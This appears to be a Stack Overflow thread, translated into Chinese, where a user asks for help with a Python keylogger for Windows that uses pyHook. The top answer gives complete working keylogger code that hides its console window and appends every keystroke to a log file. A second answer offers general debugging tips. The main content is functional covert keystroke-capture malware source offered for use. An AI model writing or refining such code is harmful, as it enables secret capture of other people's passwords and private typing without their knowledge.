0

我正在开发一个简单的键盘记录器。但是我遇到了一个问题,当我尝试将它作为 .pyw 运行时,程序在它可以记录任何内容之前就关闭了。我相信它需要循环,我该怎么做?

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p            %A %B %d, %Y            |           ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key:    '" + chr(event.Ascii) + "'")


    if chr(event.Ascii) == "q":
        sys.exit(0)
    return True


hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

我正在使用 Windows 7,顺便说一句。

4

2 回答 2

6

这是我的简单示例(您的代码错误):(您需要 pyHook 和 win32api)

#!/usr/bin/python
import pyHook
import pythoncom
import win32gui
import win32console


log_file = "log_file.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):       #on key pressed function
    if event.Ascii:
        f = open(log_file,"a")  # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
        if char == "q":         # (if char is q)
            f.close()           # (close and save log file)
            exit()              # (exit program)
        if event.Ascii == 13:   # (if char is "return")
            f.write("\n")       # (new line)
        f.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()         #get input

pyHook: http: //sourceforge.net/projects/pyhook/ ?source=dlp

pyWin32:http: //sourceforge.net/projects/pywin32/

于 2013-01-17T01:58:10.023 回答
1

通过python空闲打开程序(用IDLE右键单击编辑)转到运行并单击运行模块(F5)然后你可以看到错误。

调试提示:查看错误所在的行(其他编辑器,如我用于所有编码的 atom.io 都有行号)所以你知道在哪里看。

双重提示:如果您想使用外部编辑器但想要获取错误消息,请打开 cmd 并转到您的程序所在的目录(cd project-folder\second-folder例如)并这样python <script name>python keylogger.py

编辑:

python script.py可能无法工作,因为 python 不在路径变量中这个网站解释了如何将程序添加到你的路径

于 2016-05-22T17:34:45.390 回答